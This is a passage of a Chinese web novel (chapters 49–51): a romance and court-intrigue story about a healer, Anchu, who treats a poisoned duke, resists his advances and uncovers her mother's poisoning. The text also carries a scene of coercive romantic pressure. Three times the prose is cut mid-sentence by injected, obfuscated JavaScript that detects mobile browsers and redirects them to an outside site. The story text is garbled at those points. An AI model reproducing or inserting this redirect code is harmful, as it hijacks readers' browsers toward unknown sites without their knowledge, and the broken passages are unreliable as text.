婚事往往无疾而终,她不确定自己有朝一日会不会同这些婚事一样无疾而终。 阿敏絮叨着:“楚姑娘,想必是国公爷着急娶你过门,不然哪这么快……” “我需要做什么?” 阿敏笑着挽起安楚的手,眉眼弯弯,像一只可爱的年画娃娃:“姑娘梳妆打扮好就可以啦,您这个样子,会很讨人喜欢的。你和大家闺秀不一样,但没关系,我们大小姐喜欢各种各样的小姑娘,她肯定不会苛待你的。” 安楚的思绪已经飘了老远,她酝酿半晌,看着桌上的小巧木械心头难忍,最后终于忍不住小心翼翼看向云沧海,底气不足问道:“可否问一下你家公爷,这个能不能碰。” 云沧海哭笑不得:“楚姑娘,这些都是废弃淘汰的玩意,您小心看着就行,于您而言,国公府没那么多限制。” 安楚好久没有拿过剑了,因为她现在的身体根本不允许。那蛊毒原本是最常见的情蛊,不知为何到了她身体里边,竟变得水火不容。 若是比拟一下,像是把一瓢冰水泼进灰火里。 无聊了好久,她终于找到了取乐的手段,木械在民间是少见的玩意,跟琉璃一样,均为贵族豪门垄断,寻常人家哪会见到这些。 要想早在十来年前,这些木械在民间可是大有用处的——长途传讯,军马出征,民用车马,乃至田间耕种,在江水边的土地上,播下粮种。 安伯说过,废太子喜欢钻研这些玩意,废太子身边有个书呆子,他也喜欢这些榆木疙瘩。 可是圣上不喜欢,嫌他玩物丧志。 废太子的那些玩意被一把火烧了,书呆子也被流放了。 各大世家为表忠心,将手头上叫得上名的木机销毁了不少,也有愿意留的,不过都是一些零散取乐的小物件。 后来废太子谋反了,圣上对这些玩意更是恨之入骨,怀着丧子之痛和对背叛的憎恶,下令让这些碍眼的玩意全都销毁。 举国之殇。 这一段往事是帝王家不堪回首的丑闻,国事乃家事,家事亦是国事,二者已经融成一体,再也分不开。 老皇帝杀了许多出身平民的言官和史官,想要将废太子的全部痕迹抹除,最后也算如愿,旧物件和太子的名字,在史书上无法找到任何只言片语。 安楚被呛得咳嗽,烟尘在风中乱舞,她摸出竹筒状的火折子,将书案上的油灯点亮了。 这黄铜油灯构造与外边的有些不一样,黢黑的油缓缓绕着灯芯,沿着凹下去的暗线往下渗,火星也渐渐亮起来,她这才看明白,黄铜外居然还连接着琉璃的昙花,随着灯体内火油的流动,那朵中空立体的昙花也随之亮了起来。 火彩熠熠,栩栩如生。 在暗处,那一朵没有生气的花居然刹那间流光溢彩,如获生机,剔透的琉璃花瓣间流淌着金色闪烁的光。 阿敏和云沧海也是愣在了原地,脸上明暗交错着,心中也微微震惊:废弃的院子里别有洞天。 安楚睁大了眼,明明是第一次见,却不知为何有一种无比熟悉的感觉——姑且就当作第一次见世面的爱不释手罢,她感觉有些呼吸不上来。 “这盏灯,我认识!”云沧海一拍脑门,许多回忆涌上了心头,“这盏灯,是夫人最喜欢的物件,据说是另一位小姐送给夫人的。” “这话说起来就长了,那个时候啊,这些玩意儿可都能摆在明面上玩的,集市上也有专门卖的铺子。” 阿敏指了指面前的灯,疑惑道:“还有专门卖这个的?” 云沧海连连摆手道:“哎呦姑奶奶,这么精巧的肯定不是外边铺子能买到的。我可是听说,咱们老夫人南迁之前还与一位小姐往来亲密,颇为密切。只是后来各自成家,两人便天南海北的,也不再相见了。这一盏灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573597|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是那位小姐送的,老国公爷还醋了许久,闹了好几日的小脾气……” 他一讲便像是开了话匣子,不吐不快,越说越是开心。 这听着颇像道听途说的轶事了,安楚小心翼翼地捧起这盏灯,满心欢喜,欢喜不知从何而来,只觉得她应该欢喜。 “云大人!老管家传您过去,公爷病倒了,要亲近的人伺候。” 屋外一声丫鬟的惊呼,打破了屋子里原有的安静。安楚下意识地将灯挡在身后,毕竟当今赏玩这些是严令禁止的,传出去就不好了。 “怎会这么突然,人在何处?”云沧海面色一霎阴沉下来,连忙起身,朝屋外奔去,“伺候好这位楚姑娘,我这就去……” “我同你一起。”安楚连忙一同起身,她随手拍了拍衣襟上的灰,扶正衣领随即追了上去。 房内笼罩着一片窒息的寂静,奇怪的药味从帘幕间泄了出来,隐约浮动着沉重的血腥味。 裴谦面色憔悴,眼下的乌青由于突如其来的病气显得格外碍眼,他苍白着,本身便胜似白玉,如今周身好似轻飘着一层浮涌不动的云,将人衬得既脆弱又迷离。 “阿伯,你也下去吧,我不用人伺候,没事的,我很好。” 管家阿伯用袖口擦了擦泪花,哽咽道:“公爷啊,怎么会没事,您身子本身就不好,前些日子还遇上贼人刺杀,如今这么操劳,这个样子,老奴甚担心……” 裴谦安抚道:“我无视,你千万不要在阿姐面前多言,我很好,她若不问,你就不要提了,就说我这段时间操心的事太多,加上之前喝酒没有度,这才倒了……” 安楚进门后,屋内的寂静更是诡异,管家阿伯浑浊的眼珠缓缓扫过安楚的脸,心中一跳,似是快了半个拍子。 “安小姐。”他动了动唇,干瘪泛着灰色的唇张了又合,似是欲言又止。 他固执地唤着这个称谓,裴谦也懒得阻止,他垂眸,默然地望着这张与夫人故交六七分相似的脸,一时如鲠在喉。 真是奇了怪,这世界上居然会有这么巧的事。 管家老头咳嗽了两声,讲身边伺候的人打发了出去:“出去吧,人多扰了公爷安置,该请大夫请大夫,该熬药的熬药,别都围在这儿了。” 云沧海正欲开口,却不想给管家阿伯摁住了袖口,跟着众人清一水地都退了下去。 安楚几步越到榻前,熟稔地搭上他的腕:“你的病……已经很严重了,你阿姐不知道吗?” 裴谦叹了口气:“这不是病,是毒。” 暗红火光映着他的脸,眉间有细微的疼痛神情。 裴谦目光沉而黑,千丝万缕的情意,如深渊,如密茧,安楚颤了颤,好似心弦随之拨动。 她固执地抓紧了他的手腕,看着病得苍白的国公爷心中牵起一丝怅然。 “疼吗?”安楚问道。 “给我抱抱就不疼了。” 安楚手腕被反手抓紧,还没来得及反应便被拽上了榻。身下的木板发出吱吱呀呀的动静,她挣脱不动,也不曾有心去挣脱。 有一些听天由命的意味在里头,她抬眸看着近在咫尺的裴谦,心中的不安和酸涩好像暂时被掩盖了,她露出一抹浅淡的笑,继而安静地依偎在他的怀抱。 她这一笑不如平时的敷衍疏远,雾里看花一般的似近实远,好像永远都触碰不到。此刻却是温存柔和,眼波如水,带几分淡淡的疼惜和欣喜。 他的胸膛底下有一颗滚烫有力的心脏,它在跳动,每一下安楚都能清晰感知到。 他唇角却忍不住微微一弯,轻轻放下轿帘,在黑暗里,微微笑起。 “你要嫁给我吗?阿楚。” 安楚气得一股热气从心肺中消散四溢,她冷哼道:“我不当寡妇。” 49.榻间私语 这话就说得相当暧昧了,落在国公爷耳里,好一顿食髓知味。 佳人在怀,哪怕是日月颠倒,山崩地裂,裴谦心下也无所顾忌。也许是这一刻毒发展现的脆弱,也许是他心甘情愿地暴露出自己的情意。 他迫切地想要占有她,从那一晚毒发,他就深刻意识到了她于他心中不一样的地位。 不可替代,独一无二。 安楚一反常态地亲近裴谦,她可以是个天真无知的好姑娘,也是一个其实深谙人事的江湖老手。毕竟还在青楼讨了一段时间的生活,谋生计中学得不少野路子。 肌肤是温软的,呼吸是湿润的,迷蒙的双眼中,唯独余下彼此的身影。 她的唇迅速地掠过他的下唇,像灼热的风穿过芦苇丛生的湖,波纹晕开,涟漪暗生。 这是一个带着调戏和调情的吻。 惊涛骇浪中,裴谦不可自控地颤了颤,他反而成了胆怯退缩的那个,想说话又觉得浑身软绵,失去了所有力气那般。 她颇有意趣地拽紧他的衣领,让其无可再退:“国公爷怎的如此生涩,你要退到哪儿去?再往后,你都要抵着背了。” 两目相对,一双似梨花拂落春水,一双如初雪消融。 那一双清明的眼眸横亘过意识的山岭,将他重重围在山中,不动声色中,他丢盔弃甲,毫无思考能力。 须臾间,形势发生逆转。 亲吻先是蜻蜓点水,随即便是狂风骤雨。裴谦博得主动权,将人困在方寸之间,长驱直入地侵占领地,他想要更多。 “可以吗?阿楚。”他复杂的神情中,掺杂着动容和怜惜。 言语只是昭告,并没有实际意义,他没打算真正地从她嘴里索取到答案,他只需要用行动去索取她的回答。 男子清郁的气息连同着苦涩的药味扑面而来,露出的肌肤泛着玉色光泽。 心跳很急,陌生的冲击让安楚差点陷入晕眩,迷茫而丧失了思考能力——天尊,没实战经验注定只能纸上谈兵。 出口的话来不及连成完整的句子,只化作令人羞赧的喘息。 裴谦甚至已经想好了,以后若是有了孩子——不管是男孩还是女孩都是公府的小世子,这一次他一定会硬气起来,只能留在自家身边养着。 绝不能像自己和阿姐那样,被裹挟着走,自己没办法对人生作出选择。 不讲课业,男孩可以同他一起拉弓练剑,君子六艺一样都不能落下;姑娘的话,最好是结合两个人的优点,叫全郢都的儿郎都望之却步……怎么样都可以,哪怕是天上的星星月亮,他也得想办法射下来。 若是不出意外,温存半晌,接下来就是生米煮成熟饭的环节了。 安楚动作一顿,手中的动作比脑子的反应速度略胜一筹。 睁眼闭眼间,她又回到了从前那个模样,不近人情、不解风情、断情绝爱的孤胆侠女。 她是一个记性不大好的人,身上偶尔会带着针灸包,有时会带着毒药,有时什么也不会带。 安伯说,她这种不严谨的生活态度是极其作死的,难保不会有一天出意外。 安楚不以为意,因为她觉得万事遂心,带不带都是心随大道的一种做法,何必去强求。 “国公爷,你的药得停了,对身子不好,回回透支,长此以往,你的身体会彻底垮掉的。”安楚的指腹贴上他的下唇,她在描摹他的唇,像是一笔勾勒出恢宏丹青的国手。 裴谦无可奈何地苦笑,身子已经僵了半边。 挥袖间五枚银针堪堪定住裴谦的大穴,分毫不差。 她的指腹并不柔软,但触感温热,再看她,脸上红晕尽去,眉睫乌黑,眉宇间涣散了情意而若水练凝冰。 “大煞风景,阿楚,就不能先解开我么?” 都到了这一步,她都能全身而退,想都不用想,定是有所预谋。 安楚下榻,走了两步惊觉腿软,只能强装镇定:“不能。” 裴谦也没觉得自己被耍,他语气波澜不惊,听不出哀喜:“我觉得,你这是仗着我在乎你,不会杀你。” 安楚差点就陷进去了,好在清醒及时,她心有余悸地深吸一口气,拍了拍手翻身下床,她起身四顾,将房间内的布置仔仔细细看了一遍。 裴谦嗓音有些沙哑:“你分明也动情,为何不肯随性而为,就这么放纵一回。” 她不想看到那双眸子,尤其是此时此刻,非常不想。 安楚垂下眼眸,微微一笑:“你什么也不肯对我说,我只好出此下策。” 美人计。 裴谦的病气,不是一般人能看透的,加上之前云侍卫描述的事,安楚更加笃定这病不容小觑。 可这家伙愣是一句话也不肯说,安楚只好另寻出路。 香炉焚着不知名的香,她用金香筷拨弄着剩余不多的香灰。 “不过一炷香的光景,国公不要紧张,这是在你的地盘,若是对你动手,我也是没办法逃掉的。”安楚拿出自以为是的诚意,承诺掷地有声。 裴谦半死不活地放弃了挣扎,心中一顿翻江倒海,她非得要这样折磨人么,在她心里,自己究竟算什么? 呲—— 安楚将茶壶掀了盖子,一壶水全泼进鎏金香炉里。 “药性犯冲,不要点这个。” “嗯。”他思绪放空,百无聊赖,回答得十分敷衍。 “你用的这个透支身体的药,我大概了解了主要成分,我会拆解出最合你的方子,将烈性的成分平替成温和的。你的毒,能治。若是信我,我替你寻药方。” 裴谦语气散漫,一副无所谓的态度:“有条件?” “那个……监狱里的,能先放了么?” 监狱里边的时鸣,她一直都记得,安楚不想连累那个孩子。 “年轻人意气用事,一股热血上头,公爷你也年轻过,怎会不知晓呢?恳求您放过他,再给他一次机会。” 不提不要紧,一提裴谦倒是想起来了更多不愉快的事。 裴谦两眼一黑,心中难免惆怅起来,他这如今已经到了人老珠黄的时候了么。 果真是岁月不饶人。 他淡声回道:“我也不过二十出头的年纪,你不要这么抬我的辈分。” 这梁子,无形之中就结下来了,就算是乌金王子,裴谦也会让他有来无回,情天恨海,不共戴天。 思来想去,最是可恶的就是安楚这样的无情人,裴谦满腹苦水只能自己咽。 “怎么能把背后留给不明不白的人呢?” 安楚这下真的逃不掉了。 她自毁似的抱怨道:“国公爷看似情场拈花蘸墨叙情无数,实则是……不足为外人道也的新兵蛋子吧。” 安楚被扔上榻,滚了一遭发衣衫不整发髻散乱,眼前还未反应过来,视野一片灰白。 下一秒她便被扼住了脖颈,那力道难以挣脱。微热的呼吸拂在她耳边,安楚费力地将头偏到一边,却不想对方根本不让她如愿,非逼她直视回去。 裴谦若有所思地望着她的脸,最终将唇贴到她耳侧:“嫌我沾花惹草,又嫌我不会调情,哦……你是不是醋了?” 湿润柔软,同他的语气一般轻。 安楚本想沉默,但一想岂不是默认了自己对他有了别的意思,便矢口否认:“你不要空口污蔑我,我没有这么想。” 他轻咬着她的耳垂,像一只啮齿动物的啃咬,又像是小狗的撒娇赌气,力道不轻不重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607526|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻微刺痛之中带着痒。 那眼神似飘摇不定的舟,好像把人的心也一块承载了去。 “愿意同我一起,放纵一回吗?” 语气中尽是渴求和欲望,蛊惑她的施舍,让他如愿以偿。 “你!你强人所难,我不愿——”她话未说完,腰上一紧,残余的话便温吞地淹没在唇齿间。 毫无怜香惜玉之心! 这已经算不上亲吻了,猛烈的感官冲击让安楚跌进更深更柔软的漩涡里。啃咬,撕扯,安楚心里再度失衡,不肯认输地反咬回去。 血腥味浓重,在二人的舌尖交缠蔓延,铁锈味很冲,只钻人的脑髓,安楚这才清醒了大半。 这场面已经晋升到菜鸡互啄的级别。 “我并不是强人所难的无赖,但你非要这么撩拨,今日那我便强人所难一回。” 裴谦这话满是赌气,安楚也不曾愧疚,只觉得这人真不经逗,虽是好看,心眼子着实芝麻大小。 安楚不动了,毕竟动不动差别不大,还不如省点力气,她安抚道:“睡我对你而言没有任何好处,我能帮你拿回你想要的,顺带还能解决你身上的毒,何乐而不为?。” “那你说,我想要什么呢?” “你凑过来,我说与你听。” 安楚故意压低了声音,床榻之间根本没办法施展拳脚,就算是施展了,安楚也不一定能占上风,故而裴谦也没放在心上。 他凑了过去,只听安楚含糊地缓缓吐出一个字的音节,一阵急躁的敲门声将他们俩强行拽回了现实。 安楚掩耳不及迅雷之势一口咬上裴谦的肩膀,恶狗撕咬一般,不死不休。 裴谦在短暂的失神中被痛苦唤醒,一同栽了下去,掉进更深的地方,陷进更深的沼泥里。难得他还记得,这个时候不能把身体的重心压到安楚身上,半撑着身子这才给她留足了空间。 云沧海门前一跪,朗声汇报道:“主子,形中书院院长赵大人到访,在会客厅候着呢。” “出去,今天不见客。” “是。”云沧海听见了里边的动静,不由得讪笑一声,赶紧领命退下了。 安楚压低声音,她内伤未愈,真没什么还手的余地:“公事也不管了么,国公爷。” 轻薄的帏帐不只是什么时候落下的,帘后人影僵持。 裴谦冷然一笑,低压的嗓音落在安楚耳里飘渺得似云似纱:“哪有这事重要?” 安楚也笑了,她摁压住低声的喘息,沉声道:“这个节骨眼上,你突然称病,想必也是猜想到了自己的处境,郢都中孤立无援的滋味不好受吧。” 裴谦寒森森道:“谁说我孤立无援了?” 安楚已经放弃挣扎了,几乎是想到什么就说什么,她甚至已经说服了自己,就算是要做那事也没什么大不了的,总不能为了贞洁上吊自杀吧。 “你呀,国公大人。在郢都不都是这样么,干的都是刀尖上舔蜜的活计。糖已经到手了,下一步是不是该捅刀子了?” “主子!不好了!”云沧海跟踩了油似的又滑了回来。 “都说了谁都不见,天塌了再跟我谈。”裴谦已经很不耐烦了。 云沧海都快哭出来了:“主子!大小姐也回来了!您还是见一见吧。” “……” “……” 两人呆呆相望,两双疲惫不堪的眼睛撞到一块儿,一时竟无语凝噎。 接二连三的打断,裴谦已经被气笑了。 安楚趁机一脚踢开对方,朝门外喊道:“云侍卫,准备一些沐浴的水,这会儿要用。” “啊,是,楚姑娘。”云沧海一抬头,赶紧点头哈腰地去准备沐浴的水,速度之快,叫人叹为观止。 50.讨价还价 水被送了来,安楚趁着空档想要悄悄退出去,国公爷哪会放过这个差使她的机会。 裴谦化身恶毒国公爷,疯狂压榨小厮安楚。 “帮我宽衣。” 安楚装作没听见,安然不动。 裴谦用诉苦的口吻叹气道:“我这半边的身子还麻着呢。” 说完,咚的一声撞到角架上。 安楚亦步亦趋,巴巴地凑上前去。 衣物一件件落地,腰带,外袍,里衣…… 眼前一亮,水色月色一同落进水里。她怔怔地望着眼前的男人,随即脸上开始发烫。 “……” 裴谦散了长发,外袍脱去,只余下松散的里衣,露出饱含弹性和力度的胸膛,肩线流畅一路往下,锁骨平直如刀工镌刻,肌肤温润如玉,在淡黄昏暗的光线下,光华流转,衬着那墨色如箭的长眉,樱红薄唇,将整个人的美呈现得一览无余,美如玉琢,自内而外,散发氤氲之华。 安楚想闭上眼睛。 “我就是恨你,这么愚弄我,是真的心里从未有过我么。” 安楚一听,睁眼间眼前白光一线,她踱步走近他的身边,反问:“那你愿意现在放弃自己的地位和权力,带我远离郢都,寻一处无人打扰的农家小院,养一只小土狗,就此隐居,退出朝堂纷争,国公爷愿意吗?你会愿意跟我坦诚相待么?” 描述的这个画面,是安楚心中遥不可及的地方。她在儿时,伏在母亲膝头,听见荆岫云无数次提起江南旧居,那是一片澄澈的天空,像是被水淋洗过的镜子,又深又远。 荆岫云说,楚歌啊,以后要是能过上简简单单的日子就好了,夫君勤劳踏实,不求大富大贵,有一个属于自己的院子就好了。 安楚又问,能不能再养一只小土狗,黄黄的,毛茸茸的,冬天的时候能一起烤火。 荆岫云说,当然可以。 她从背后环抱住裴谦的脖颈,下巴抵在颈窝里,脸庞拂过肩膀,蹭过那一片血丝印染的伤痕,衣袖拖进水里,湿软的衣绸在水面上徜徉,水温不冷不热,热气淡淡的,像晚秋江面上的雾,浅浅地浮在水面。 裴谦侧过脸,目光湿漉漉的,那眼神依旧像惊涛骇浪中飘摇的帆舟,好似下一秒就要被海浪吞噬不见。 安楚松开了手:“好了,我看见了,你的答案。” 两个野心勃勃的人,永远不会甘心于眼下。 这也就注定安楚不会顺着荆岫所期盼的方向走下去,她要背弃从前的自己,还有佯装憧憬的安生日子。 “这才是除开男女之情,抛却最原始最野蛮的冲动后,彼此最真实的想法。你不想,我也不想。” “你在教训我?” “不敢。” 生命力和野心是心田间播下的种子,最终由欲望浇灌长成参天大树。 安楚给人的感觉很奇特,她好像致力于折腾自己,好像不怕累不怕死,总想单打独斗,靠着自己的力量,策马扬鞭闯出一片辽阔天地。 她见过一些悲惨的民生,见过饿殍千里,难民易子而食。 她既不是高高在上的公子哥富小姐,哪怕是以前的荆家,他们都是被门阀世家所不齿的存在。 她也不是流落荒野的难民,正因如此,安楚不属于任何一个阵营。 非世家王侯,非三教九流。 安楚只是想随本心做一些不愧对天地祖宗的事,只是事与愿违,现如今她的身份,连讨生活都是难题。 “安楚,我不管你了。”裴谦疲惫地闭上了眼,真假掺半的心思最难猜,“你这是在逼我回答,回答出你想听见的答案。” 安楚却摇头,这个时候两个人已经冷静下来了,她觉得正是可以坦诚相待的时机:“那我问你,你为什么刻意避开我的‘安’,所有的人都在避讳这个字,为什么?这个字又什么不好么?还是说,你怀疑我是细作。” 这注定安楚难以在裴谦座下觅得差事,她不想就这么不明不白地将就一辈子。 “偏偏你用了这个字,身法还像极了北地那位消失已久的天才剑师安斯年。阿楚,没有实证的事,我是不愿意承认的。” “北地那位赫赫有名的天才剑师?”安楚嗤笑道,这样的猜想浮现在脑海里,不由得觉得有些好笑,“难道说,教我的师傅是安斯年?” 北地,剑师,跟自己又什么关系? 她虽学了一些东西,但终归是浅显皮毛,安大柱……安斯年……安楚不自信地陷入了沉思。 北地商人,一年来郢都一次,母亲说他对她们有救命恩情。 “我与他交过手,那个时候北地战事吃了不少败仗,我的父亲也是那个时候……”他的眸光骤然黯淡下来。 同光三年,楚国公裴仲安兵败。 战神一般的人轰然倒下,兵败如山倒,北地嚣张气焰肆掠,边陲一时间尸山血海,血涌成河。河流一路往东,血色蔓延三个月而不止,沿河而居的人,三年不敢打捞鱼。 “你最好跟他没有关系,阿楚,不然到了那天,我们只能是敌人了。” “国公若对我有知遇之恩,我也不会让你为难的。” 天色已晚,等裴谦赶去议事厅堂的时候,裴欣和赵裕昌恭候久矣。 裴欣虽为女子,但官位在赵裕昌之上,往日里像赵裕昌这样的根本没什么机会见到裴欣。 但好在,他们私下里都有交情,裴欣对弟弟的这位引为知己的小友印象深刻。 赵裕昌被举荐之前是西街头卖烤鸭的,老板生得花容月貌,既会烤鸭又会念书,生意还挺兴隆。 “我倒是没什么事,只是看你……好似也不像外头说的那样,痛疾缠身,连身都起不了。”裴欣已经倦了,她忙了好些天,跟着管账的官吏对了几天的账本,晚些时候还去城郊视察难民扎营的情况。 这小子,不会是纵欲过度了吧。 也不至于这么快,下午他不是也跟去城郊了么,八成也没时间做乱七八糟的事。 赵裕昌低沉着声音道:“公爷,形中书院出事了,公爷,书院前头撞死了一对老夫妻。陛下盛怒,正在追查此时。” “白会也死了?” 赵裕昌解释道:“还未开庭审讯就死在牢里,毒下在饭菜里,肯定是有人杀人灭口。毕竟书院管理混乱,不少门阀子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630746|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟靠着书院走入仕途,如同那买官鬻爵,将入学名额明码标价,以往这些事都是被默认的,也算是不成文的规矩,现在若把这事拿出来做文章,定会被有心之人利用。” 多事之秋,两县水患,形中书院也相继出了岔子。 一波未平一波又起,风波难平,只怕是天要亡大盛。 “那些人,都等着你出面。”赵裕昌意有所指。 崔堇告病,但他那个小儿子却不是省油的灯。他在皇帝面前非常完美地诠释了什么是初生牛犊不怕虎,一板一眼地罗列裴谦的罪状。 当然,王策云主动站出来主持大局了,声泪俱下地描述楚国公多年以来兢兢业业,为国为民付出无数心力,哪怕是远在千里之外的明光营,楚国公也是用心呵护,出钱出人地维护老国公留下的兵。 这话说得更加恶毒了,表面上虽是求情,实际上却是将人推往疑虑更深的网。 皇帝的疑虑是最致命的毒药。 裴谦低声道:“这个事分明是冲我来的,我管不了。你更是不应该来这儿,自行去处理,无需请示我。” “那书院的事怎么安排?” “眼下招生的事已经接近尾声,书院内要务还是由你照常打理,纪启元协助教谕事务,让于思宽增调人手,暗中围住书院,特殊时段,不要随意让人出入。至于那对老夫妻,查明身份以及与什么人有干系,曾受过什么冤屈,左右是逃不过去的,查清楚钱会经手哪些人,哪些人受到了实质性的好处。” “闲散了这么多年,没想到现下竟忙了起来,让人有些措手不及。” “中庸之道,尽在其中。” 裴谦心想,这回果真是事情都汇集到了一块儿,他人顶着国公头衔新上任,即不能太冒进,也不能太窝囊。被上位者玩弄于鼓掌之间,只能靠着这句话慰藉自己。 最难的还是权衡之事,他前些日子的恩宠过于强盛,木秀于林风必摧之,皇帝肯定要趁机打压一下裴谦的势头,免得叫他得意忘形。 “钱的事最要紧,国库空虚,许多地方还需要花钱。从水患赈灾开始,陛下便觉得不痛快了,那些个蛀米虫似的世家,一提到钱恨不得称病还乡,钱是没有的,但是表忠心的人不少。” “裴尚书,你就不能早日把账簿对清楚,四处都需要银子,你不发声,这笔烂账要算到猴年马月。”裴谦袖下的手轻轻地摆了摆,一旁的小厮连忙上前看茶。 裴尚书喝了口茶,她没有刻意回避自己女子的身份,一身合时宜的春装清纯粉嫩,颈上佩着金玉项圈,坠着一块平安锁,玉是细腻的羊脂玉,质地通透,可遇而不可求的好料子。 平安锁与裴谦手上那枚戒指应该出自同一块料。 她道:“硬是要查,有的钱都要追到南迁之前了,入不敷出才是最大的问题。” “北边,经商的路走不出去,南边,海上航运也屡受海匪打击,哪怕是国土境内,那运河上也不太平。”裴欣在朝中待了一些时日,许多事已经摸清楚门路了。 积弊已久,烂至树根。 苍天大树虽能蔽日盖天,根部却被蚁兽啃食,崩塌也是时间问题。 51.府上初见 安楚将药渣收了起来,厨房光线暗淡,阿敏便又多点了两盏油灯。 她脑海里闪过一些零散的记忆,荆岫云卧病在床的那半年,身体也是每况愈下。裴谦着半死不活的模样倒是让她记起了一些——或许荆岫云之死,并不是寻常的生老病死,而是被心存歹念之人谋害死的。 她徒手拨开药渣,翻看之中,心里一片茫然。那些朴素的,最寻常的药材,最终成了可怜人的催命符。 是世事无常,还是筹谋算计?她忽的想起了自己贴身戴的一个布囊,这个布囊仅仅起着装东西的作用,模样是破旧的,粗麻的布面,粗糙地缝着一条宝蓝色的布带,时间过去久远,粗麻泛黄,连同装饰的布带也掉了色。 拆开后,滚落一枚玉佩,正是六殿下的聘礼,余下的是一些书信。 她展开一张张信笺,上面的墨迹已经斑驳干涸,字体分辨不清原有的形状。 “崔家……李素。”她捏紧手中的纸,眼中燃起了一股无脑的热火。 虽然还没有确切的证据,但是她已经猜中了结果——荆岫云的死不是听天命的巧合,而是被下毒害死的。 如果没有猜错,如今的国公爷也将命不久矣,他们吃的是同一种毒药。 心中的痛苦像蝴蝶破茧被强行剥开的羽衣,冰冷残忍地将事实的真相逐一袒露。 她站在迷雾中十分茫然,那一瞬她不知何去何从。 真相离她忽远忽近,冥冥之中,她在靠近当年家族覆灭母女流亡的真相。 赵裕昌辞去后便安排书院的相关事宜,他办事妥当,虽多年不管事、不掌实权,但能力尚可,不容小觑。 裴谦咳嗽了两声,沐浴的水到后面就有些凉了,他身体这会儿正虚弱着,难免伤寒入体。 他不可避免地想起了她主动揽住自己的脖颈,说什么他已经不记得了,唯独记得起那时的柔软和温暖。 裴欣见他快丢了魂,拉着他坐到一边,满眼不可置信:“你是不是脑子病糊涂了?眼神都痴了,莫不是有什么邪祟上身了?” “到该装病的时候了,不真一点,旁人怎么会信。”裴谦轻轻咳嗽了两声,他在赵裕昌面前强撑着,免得到时候真病倒了,手下的人乱作一团,被人打个措手不及,谁下手都不会怜惜。 裴欣攥紧他的手,脸上的疲惫和担忧紧紧系在一起,浓成一片化不开的忧虑:“承影,你莫要为难自己。严重成这样,看着也不像装的啊……莫不是难民里边,有感染疫病的?” “老毛病了,自己的身体什么样,我心里还是有数的。”裴谦害怕她继续猜测下去,便草草地敷衍回答了。 裴欣探了探他的额头,烫得太过厉害,她道:“孙伯,快传太医过来。” “别,不要传太医,府里的医官何在?孙伯,把新聘的医官找来。”裴谦神色有些不自然。 他属实不能信任太医署的老太医,毕竟都是宫里边的人,终归是替皇帝办事。 “非疫病,裴大人莫要担心。”少女声音沉稳,她的指尖搭在裴谦的手腕脉门之上,姿态老成持重。 裴欣挑眉,弟弟卧病在床,她倒是先注意上了一旁待命的新医官,这医官若是个头发胡子花白的老头子也就罢了,还是个妙龄女子。 “府里的新医官?”裴欣问道。 “是阿楚姑娘,我之前与你提过。”裴谦见着安楚,心中似乎放心下了许多,好似连身上的疼痛也减轻了不少。 安楚是截胡老医官进来的,她心里门清,只要她承诺救治国公,云沧海肯定不会拦的。 “是旧疾复发,加上劳郁之气郁结于心肺,以现在他的身体状态,不便继续化淤,应当先疏导。先前的药不能用了,国公爷需要静养,服用一些平和而又有疏导之效的药方。”把完脉后,安楚开始睁着眼睛说瞎话。 “何解?”裴欣心中有些焦躁。 安楚望向榻上的裴谦,轻启薄唇:“小人既然能毛遂自荐,自然是有解法的,能不能成,只看两位贵人是否愿意相信。” 裴欣也不绕圈子了,直白道:“你一个小姑娘,我也不知你师从何门,能力几何,让我相信你,未免有些强人所难。” 见裴欣迟疑,安楚泰然自若朝她行礼:“裴大人还未见过国公往常用的药吧,若是对在下的医术有质疑,在下可以依据国公爷以前用的药方……” 裴谦剧烈地咳嗽了两声,及时打断了安楚:“咳咳……阿楚,好像更严重了,我快要喘不过气了……” 秀色可餐的国公爷面色绯红,眼底还含着一汪晶莹透亮的泪水,不敢想这一滴泪从眼眶中溢出,顺着脸颊滚落到手背上是如何倾城绝色。 裴欣意识到她弟弟的躲闪,多少觉察出一些不对劲:“阿楚姑娘,你继续讲。” “几个字足以概括,药性猛烈,对身体会产生过大负担,容易失控。”安楚只将话讲了一半,后半段是——容易在失控中力竭而亡。 裴谦听完,悬着的半颗心终于放了下来,他不想让阿姐知道自己每一日活得战战兢兢。 不再上战场,每一日依旧要刀尖舔血。 裴欣说不上来这姑娘有什么特别的地方,但是心中疑惑许久的问题终于等到了答案。抬眸刹那,她隐约觉得裴谦同这个姑娘的缘分未尽于此。 日后或许有更深的牵绊,挣不开,逃不掉。 